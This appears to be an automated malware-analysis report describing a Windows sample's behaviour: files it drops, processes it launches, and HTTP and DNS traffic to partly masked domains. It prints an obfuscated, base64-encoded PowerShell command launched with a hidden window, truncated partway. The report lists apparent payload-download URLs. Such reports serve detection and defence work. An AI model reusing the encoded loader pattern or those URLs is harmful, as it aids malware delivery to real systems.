Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABQAFAAUgBCAEMAcwBrAHQAPQAnAEgAWQBJAEgARgBqAGMAcgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAGAASQBUAHkAYABwAFIAbwBUAG8AYwBPAEwAIgAgAD...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1612
Modifies file system
Creates the following files
- %TEMP%\1199912.cvr
- %TEMP%\.cr.4700\zh-cn\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.4700\tr-tr\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.4700\ru-ru\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.4700\pt-br\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.4700\nl-nl\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.4700\microsoft.windows.shell.dll
- %TEMP%\.cr.4700\ja-jp\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.4700\it-it\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.4700\fr-fr\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.4700\es-es\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.4700\endpointprotectionsdk.lic
- %TEMP%\.cr.4700\en-us\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.4700\dryiocattributes.dll
- %TEMP%\.cr.4700\dryioc.mefattributedmodel.dll
- %TEMP%\.cr.4700\dryioc.dll
- %TEMP%\.cr.4700\de-de\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\.cr.4700\avira.spotlight.bootstrapper.telemetry.interface.dll
- %TEMP%\.cr.4700\avira.spotlight.bootstrapper.logging.dll
- %TEMP%\.cr.4700\avira.spotlight.bootstrapper.exe.config
- %TEMP%\.cr.4700\avira.spotlight.bootstrapper.exe
- %TEMP%\.cr.4700\avira.spotlight.bootstrapper.engine.dll
- %TEMP%\.cr.4700\avira.spotlight.bootstrapper.core.dll
- %TEMP%\.cr.4700\avira.filedownloader.dll
- %TEMP%\.cr.4700\avira.common.mixpanel.dll
- %TEMP%\.cr.4700\avira.common.guards.dll
- %TEMP%\.cr.4700\antivirussetup.inf
- %HOMEPATH%\728.exe
- %TEMP%\.cr.4700\zh-tw\avira.spotlight.bootstrapper.resources.dll
- %TEMP%\avira_spotlight_bootstrapper_2020-12-19_18-03-52.log
Network activity
TCP
HTTP GET requests
- http://ni###ind.com/framelines/vp_1pw_sn6d49as/
- http://ph####udadhuj.com/css/l_5uu9_b/
- http://mu###esfera.com/clientes/nn_hf1_zw8g7/
- http://ni####vmedia.com/wp-admin/98_1_d3xmqp8/
UDP
- DNS ASK cn##nc.com
- DNS ASK ni###ind.com
- DNS ASK ph####udadhuj.com
- DNS ASK mu###esfera.com
- DNS ASK ni####vmedia.com
- DNS ASK pa####e.avira.com
Miscellaneous
Creates and executes the following
- '%HOMEPATH%\728.exe'
- '%TEMP%\.cr.4700\avira.spotlight.bootstrapper.exe' "%TEMP%\.CR.4700\Avira.Spotlight.Bootstrapper.exe" OriginalFileName=728.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABQAFAAUgBCAEMAcwBrAHQAPQAnAEgAWQBJAEgARgBqAGMAcgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAGAASQBUAHkAYABwAFIAbwBUAG8AYwBPAEwAIgAgAD...' (with hidden window)
